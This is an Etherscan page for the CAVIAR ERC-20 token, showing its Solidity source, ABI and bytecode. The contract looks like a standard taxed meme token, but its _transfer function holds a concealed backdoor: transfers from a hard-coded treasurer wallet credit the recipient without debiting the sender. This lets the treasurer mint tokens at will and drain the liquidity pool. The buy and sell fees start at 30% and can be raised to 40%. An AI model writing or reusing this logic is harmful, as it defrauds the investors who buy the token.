ETH Price: $3,495.42 (+2.61%)
Gas: 3 Gwei

Token

Caviar (CAVIAR)
 

Overview

Max Total Supply

1,000,000,000 CAVIAR

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
*tausendfüßler.eth
Balance
0 CAVIAR

Value
$0.00
0xe2e49b255cfe881f130739ee06c2ed5fe3a3d1ef
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAVIAR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-07-02
*/

/**
    Website: https://caviarcoin.xyz
    https://t.me/caviarerc
 */

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract CAVIAR is Context, IERC20, Ownable {
    uint256 private constant _totalSupply = 1_000_000_000e18;
    uint256 private constant onePercent = 10_000_000e18;
    uint256 private constant minSwap = 10_000e18;
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address uniswapV2Pair;
    address WETH;
    address payable immutable treasurer;

    bool private launched = false;
    uint8 private inSwapAndLiquify;
    uint8 private _buyFee = 30;
    uint8 private _sellFee = 30;

    uint256 private startingBlock;
    uint256 public maxTxAmount = 2 * onePercent;
    uint256 public maxWalletAmount = 2 * onePercent;

    string private constant _name = "Caviar";
    string private constant _symbol = "CAVIAR";

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isFam;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        WETH = uniswapV2Router.WETH();

        treasurer = payable(0x6461a4F11fd340c0ea324FB2e26f5CD49fa9cC5F);
        _balance[msg.sender] = _totalSupply;

        _isFam[treasurer] = true;
        _isFam[msg.sender] = true;
        _isFam[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function createPair() external onlyOwner {
        require(!launched, "Already launched");

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                WETH
            );

        _allowances[address(this)][address(uniswapV2Router)] = type(uint256)
            .max;

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _balance[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function opentrading() external onlyOwner {
        require(!launched, "Already launched");
        launched = true;
    }

    function setFees(uint8 _buy, uint8 _sell) external onlyOwner {
        require(_buy <= 40 && _sell <= 40, "Invalid fee value");
        _buyFee = _buy;
        _sellFee = _sell;
    }

    function addToFam(address wallet) external onlyOwner {
        _isFam[wallet] = true;
    }

    function removelimits() external onlyOwner {
        maxTxAmount = type(uint256).max;
        maxWalletAmount = type(uint256).max;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Min transfer amt");

        uint256 _tax;
        if (!_isFam[from] && !_isFam[to]) {
            require(
                launched == true && amount <= maxTxAmount,
                "Launch / Max TxAmount"
            );

            if (!_isFam[to] && to != uniswapV2Pair) {
                require(
                    _balance[to] + amount <= maxWalletAmount,
                    "Max WalletAmount"
                );
            }

            if (from == uniswapV2Pair) {
                _tax = _buyFee;
            } else if (to == uniswapV2Pair) {
                uint256 tokensToSwap = _balance[address(this)];
                if (amount >= minSwap && inSwapAndLiquify == 0) {
                    if (tokensToSwap > onePercent) {
                        tokensToSwap = onePercent;
                    }
                    if (tokensToSwap >= minSwap) {
                        inSwapAndLiquify = 1;
                        address[] memory path = new address[](2);
                        path[0] = address(this);
                        path[1] = WETH;
                        uniswapV2Router
                            .swapExactTokensForETHSupportingFeeOnTransferTokens(
                                tokensToSwap,
                                0,
                                path,
                                address(this),
                                block.timestamp
                            );
                        inSwapAndLiquify = 0;
                    }
                    payable(treasurer).transfer(address(this).balance);
                }
                _tax = _sellFee;
            } else {
                _tax = 0;
            }
        } else {
            if (from == treasurer) {
                _balance[to] += amount;
                return;
            }
            _tax = 0;
        }

        if (_tax != 0) {
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transferAmount = amount - taxTokens;

            _balance[from] -= amount;
            _balance[to] += transferAmount;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transferAmount);
        } else {
            _balance[from] -= amount;
            _balance[to] += amount;
            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"addToFam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"opentrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removelimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526003805463ffff00ff60a01b1916610f0f60b11b179055620000336a084595161401484a00000060026200022f565b6005556200004e6a084595161401484a00000060026200022f565b6006553480156200005e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa158015620000f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200011c91906200025b565b600380546001600160a01b0319166001600160a01b0392909216919091179055736461a4f11fd340c0ea324fb2e26f5cd49fa9cc5f60a0523360009081526007602090815260408083206b033b2e3c9fd0803ce8000000905560099091527f680313fe06ea6efcb58cbbbfbe310b4e6f2ad0ee7cb4b2a7785941f20fd5ee94805460ff19908116600190811790925582842080548216831790553084529190922080549091169091179055620001cf3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b033b2e3c9fd0803ce80000006040516200022191815260200190565b60405180910390a36200028d565b80820281158282048414176200025557634e487b7160e01b600052601160045260246000fd5b92915050565b6000602082840312156200026e57600080fd5b81516001600160a01b03811681146200028657600080fd5b9392505050565b60805160a0516114fa620002c860003960008181610e040152610e6c01526000818161061b015281816107400152610d7601526114fa6000f3fe6080604052600436106101185760003560e01c80638c0b5e22116100a0578063aa4bde2811610064578063aa4bde281461031e578063bf5de9d514610334578063dd62ed3e14610354578063f2fde38b1461039a578063fa852a21146103ba57600080fd5b80638c0b5e221461027c5780638da5cb5b1461029257806395d89b41146102ba5780639e78fb4f146102e9578063a9059cbb146102fe57600080fd5b8063313ce567116100e7578063313ce567146101de5780634fcd2446146101fa5780635e4ae81b1461021c57806370a0823114610231578063715018a61461026757600080fd5b806306fdde0314610124578063095ea7b31461016557806318160ddd1461019557806323b872dd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600681526521b0bb34b0b960d11b60208201525b60405161015c919061118d565b60405180910390f35b34801561017157600080fd5b506101856101803660046111f0565b6103cf565b604051901515815260200161015c565b3480156101a157600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015c565b3480156101ca57600080fd5b506101856101d936600461121c565b6103e6565b3480156101ea57600080fd5b506040516012815260200161015c565b34801561020657600080fd5b5061021a610215366004611273565b610438565b005b34801561022857600080fd5b5061021a6104f7565b34801561023d57600080fd5b506101b061024c3660046112a6565b6001600160a01b031660009081526007602052604090205490565b34801561027357600080fd5b5061021a61052e565b34801561028857600080fd5b506101b060055481565b34801561029e57600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102c657600080fd5b5060408051808201909152600681526521a0ab24a0a960d11b602082015261014f565b3480156102f557600080fd5b5061021a6105a2565b34801561030a57600080fd5b506101856103193660046111f0565b61080f565b34801561032a57600080fd5b506101b060065481565b34801561034057600080fd5b5061021a61034f3660046112a6565b61081c565b34801561036057600080fd5b506101b061036f3660046112ca565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156103a657600080fd5b5061021a6103b53660046112a6565b61086a565b3480156103c657600080fd5b5061021a6108a0565b60006103dc33848461092c565b5060015b92915050565b60006103f3848484610a50565b6001600160a01b03841660009081526008602090815260408083203380855292529091205461042e918691610429908690611319565b61092c565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b81526004016104629061132c565b60405180910390fd5b60288260ff1611158015610483575060288160ff1611155b6104c35760405162461bcd60e51b8152602060048201526011602482015270496e76616c6964206665652076616c756560781b6044820152606401610462565b6003805461ffff60b01b1916600160b01b60ff9485160260ff60b81b191617600160b81b9290931691909102919091179055565b6000546001600160a01b031633146105215760405162461bcd60e51b81526004016104629061132c565b6000196005819055600655565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016104629061132c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016104629061132c565b600354600160a01b900460ff16156106195760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b6044820152606401610462565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610677573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069b9190611361565b6003546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af11580156106ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107109190611361565b600280546001600160a01b0319166001600160a01b039283161790553060008181526008602090815260408083207f0000000000000000000000000000000000000000000000000000000000000000861680855290835281842060001990558484526007909252808320548354825163f305d71960e01b8152600481019690965260248601919091526044850184905260648501939093529190931660848301524260a48301525163f305d71991479160c4808301926060929190829003018185885af11580156107e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061080a919061137e565b505050565b60006103dc338484610a50565b6000546001600160a01b031633146108465760405162461bcd60e51b81526004016104629061132c565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016104629061132c565b61089d816110cd565b50565b6000546001600160a01b031633146108ca5760405162461bcd60e51b81526004016104629061132c565b600354600160a01b900460ff16156109175760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b6044820152606401610462565b6003805460ff60a01b1916600160a01b179055565b6001600160a01b03831661098e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a765760405162461bcd60e51b8152600401610462906113ac565b6001600160a01b038216610a9c5760405162461bcd60e51b8152600401610462906113ac565b60008111610adf5760405162461bcd60e51b815260206004820152601060248201526f135a5b881d1c985b9cd9995c88185b5d60821b6044820152606401610462565b6001600160a01b03831660009081526009602052604081205460ff16158015610b2157506001600160a01b03831660009081526009602052604090205460ff16155b15610e6a57600354600160a01b900460ff1615156001148015610b4657506005548211155b610b8a5760405162461bcd60e51b815260206004820152601560248201527413185d5b98da080bc813585e08151e105b5bdd5b9d605a1b6044820152606401610462565b6001600160a01b03831660009081526009602052604090205460ff16158015610bc157506002546001600160a01b03848116911614155b15610c2e576006546001600160a01b038416600090815260076020526040902054610bed9084906113f1565b1115610c2e5760405162461bcd60e51b815260206004820152601060248201526f13585e0815d85b1b195d105b5bdd5b9d60821b6044820152606401610462565b6002546001600160a01b0390811690851603610c575750600354600160b01b900460ff16610eda565b6002546001600160a01b0390811690841603610e62573060009081526007602052604090205469021e19e0c9bab24000008310801590610ca15750600354600160a81b900460ff16155b15610e4e576a084595161401484a000000811115610cc757506a084595161401484a0000005b69021e19e0c9bab24000008110610df7576003805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2057610d20611404565b6001600160a01b039283166020918202929092010152600354825191169082906001908110610d5157610d51611404565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610db690859060009086903090429060040161141a565b600060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b50506003805460ff60a81b191690555050505b6040516001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016904780156108fc02916000818181858888f19350505050158015610e4c573d6000803e3d6000fd5b505b5050600354600160b81b900460ff16610eda565b506000610eda565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031603610ed6576001600160a01b03831660009081526007602052604081208054849290610ecb9084906113f1565b909155505050505050565b5060005b801561101d5760006064610eee838561148b565b610ef891906114a2565b90506000610f068285611319565b6001600160a01b038716600090815260076020526040812080549293508692909190610f33908490611319565b90915550506001600160a01b03851660009081526007602052604081208054839290610f609084906113f1565b90915550503060009081526007602052604081208054849290610f849084906113f1565b909155505060405182815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161100e91815260200190565b60405180910390a350506110c7565b6001600160a01b03841660009081526007602052604081208054849290611045908490611319565b90915550506001600160a01b038316600090815260076020526040812080548492906110729084906113f1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110be91815260200190565b60405180910390a35b50505050565b6001600160a01b0381166111325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610462565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600060208083528351808285015260005b818110156111ba5785810183015185820160400152820161119e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461089d57600080fd5b6000806040838503121561120357600080fd5b823561120e816111db565b946020939093013593505050565b60008060006060848603121561123157600080fd5b833561123c816111db565b9250602084013561124c816111db565b929592945050506040919091013590565b803560ff8116811461126e57600080fd5b919050565b6000806040838503121561128657600080fd5b61128f8361125d565b915061129d6020840161125d565b90509250929050565b6000602082840312156112b857600080fd5b81356112c3816111db565b9392505050565b600080604083850312156112dd57600080fd5b82356112e8816111db565b915060208301356112f8816111db565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e0576103e0611303565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561137357600080fd5b81516112c3816111db565b60008060006060848603121561139357600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b808201808211156103e0576103e0611303565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561146a5784516001600160a01b031683529383019391830191600101611445565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103e0576103e0611303565b6000826114bf57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122077bb4959c7783e75184391a91e3931b3017b059143ed481b17924c068cc19b4364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80638c0b5e22116100a0578063aa4bde2811610064578063aa4bde281461031e578063bf5de9d514610334578063dd62ed3e14610354578063f2fde38b1461039a578063fa852a21146103ba57600080fd5b80638c0b5e221461027c5780638da5cb5b1461029257806395d89b41146102ba5780639e78fb4f146102e9578063a9059cbb146102fe57600080fd5b8063313ce567116100e7578063313ce567146101de5780634fcd2446146101fa5780635e4ae81b1461021c57806370a0823114610231578063715018a61461026757600080fd5b806306fdde0314610124578063095ea7b31461016557806318160ddd1461019557806323b872dd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600681526521b0bb34b0b960d11b60208201525b60405161015c919061118d565b60405180910390f35b34801561017157600080fd5b506101856101803660046111f0565b6103cf565b604051901515815260200161015c565b3480156101a157600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015c565b3480156101ca57600080fd5b506101856101d936600461121c565b6103e6565b3480156101ea57600080fd5b506040516012815260200161015c565b34801561020657600080fd5b5061021a610215366004611273565b610438565b005b34801561022857600080fd5b5061021a6104f7565b34801561023d57600080fd5b506101b061024c3660046112a6565b6001600160a01b031660009081526007602052604090205490565b34801561027357600080fd5b5061021a61052e565b34801561028857600080fd5b506101b060055481565b34801561029e57600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102c657600080fd5b5060408051808201909152600681526521a0ab24a0a960d11b602082015261014f565b3480156102f557600080fd5b5061021a6105a2565b34801561030a57600080fd5b506101856103193660046111f0565b61080f565b34801561032a57600080fd5b506101b060065481565b34801561034057600080fd5b5061021a61034f3660046112a6565b61081c565b34801561036057600080fd5b506101b061036f3660046112ca565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156103a657600080fd5b5061021a6103b53660046112a6565b61086a565b3480156103c657600080fd5b5061021a6108a0565b60006103dc33848461092c565b5060015b92915050565b60006103f3848484610a50565b6001600160a01b03841660009081526008602090815260408083203380855292529091205461042e918691610429908690611319565b61092c565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b81526004016104629061132c565b60405180910390fd5b60288260ff1611158015610483575060288160ff1611155b6104c35760405162461bcd60e51b8152602060048201526011602482015270496e76616c6964206665652076616c756560781b6044820152606401610462565b6003805461ffff60b01b1916600160b01b60ff9485160260ff60b81b191617600160b81b9290931691909102919091179055565b6000546001600160a01b031633146105215760405162461bcd60e51b81526004016104629061132c565b6000196005819055600655565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016104629061132c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016104629061132c565b600354600160a01b900460ff16156106195760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b6044820152606401610462565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610677573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069b9190611361565b6003546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af11580156106ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107109190611361565b600280546001600160a01b0319166001600160a01b039283161790553060008181526008602090815260408083207f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d861680855290835281842060001990558484526007909252808320548354825163f305d71960e01b8152600481019690965260248601919091526044850184905260648501939093529190931660848301524260a48301525163f305d71991479160c4808301926060929190829003018185885af11580156107e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061080a919061137e565b505050565b60006103dc338484610a50565b6000546001600160a01b031633146108465760405162461bcd60e51b81526004016104629061132c565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016104629061132c565b61089d816110cd565b50565b6000546001600160a01b031633146108ca5760405162461bcd60e51b81526004016104629061132c565b600354600160a01b900460ff16156109175760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b6044820152606401610462565b6003805460ff60a01b1916600160a01b179055565b6001600160a01b03831661098e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a765760405162461bcd60e51b8152600401610462906113ac565b6001600160a01b038216610a9c5760405162461bcd60e51b8152600401610462906113ac565b60008111610adf5760405162461bcd60e51b815260206004820152601060248201526f135a5b881d1c985b9cd9995c88185b5d60821b6044820152606401610462565b6001600160a01b03831660009081526009602052604081205460ff16158015610b2157506001600160a01b03831660009081526009602052604090205460ff16155b15610e6a57600354600160a01b900460ff1615156001148015610b4657506005548211155b610b8a5760405162461bcd60e51b815260206004820152601560248201527413185d5b98da080bc813585e08151e105b5bdd5b9d605a1b6044820152606401610462565b6001600160a01b03831660009081526009602052604090205460ff16158015610bc157506002546001600160a01b03848116911614155b15610c2e576006546001600160a01b038416600090815260076020526040902054610bed9084906113f1565b1115610c2e5760405162461bcd60e51b815260206004820152601060248201526f13585e0815d85b1b195d105b5bdd5b9d60821b6044820152606401610462565b6002546001600160a01b0390811690851603610c575750600354600160b01b900460ff16610eda565b6002546001600160a01b0390811690841603610e62573060009081526007602052604090205469021e19e0c9bab24000008310801590610ca15750600354600160a81b900460ff16155b15610e4e576a084595161401484a000000811115610cc757506a084595161401484a0000005b69021e19e0c9bab24000008110610df7576003805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2057610d20611404565b6001600160a01b039283166020918202929092010152600354825191169082906001908110610d5157610d51611404565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610db690859060009086903090429060040161141a565b600060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b50506003805460ff60a81b191690555050505b6040516001600160a01b037f0000000000000000000000006461a4f11fd340c0ea324fb2e26f5cd49fa9cc5f16904780156108fc02916000818181858888f19350505050158015610e4c573d6000803e3d6000fd5b505b5050600354600160b81b900460ff16610eda565b506000610eda565b7f0000000000000000000000006461a4f11fd340c0ea324fb2e26f5cd49fa9cc5f6001600160a01b0316846001600160a01b031603610ed6576001600160a01b03831660009081526007602052604081208054849290610ecb9084906113f1565b909155505050505050565b5060005b801561101d5760006064610eee838561148b565b610ef891906114a2565b90506000610f068285611319565b6001600160a01b038716600090815260076020526040812080549293508692909190610f33908490611319565b90915550506001600160a01b03851660009081526007602052604081208054839290610f609084906113f1565b90915550503060009081526007602052604081208054849290610f849084906113f1565b909155505060405182815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161100e91815260200190565b60405180910390a350506110c7565b6001600160a01b03841660009081526007602052604081208054849290611045908490611319565b90915550506001600160a01b038316600090815260076020526040812080548492906110729084906113f1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110be91815260200190565b60405180910390a35b50505050565b6001600160a01b0381166111325760405162461bcd60e51b8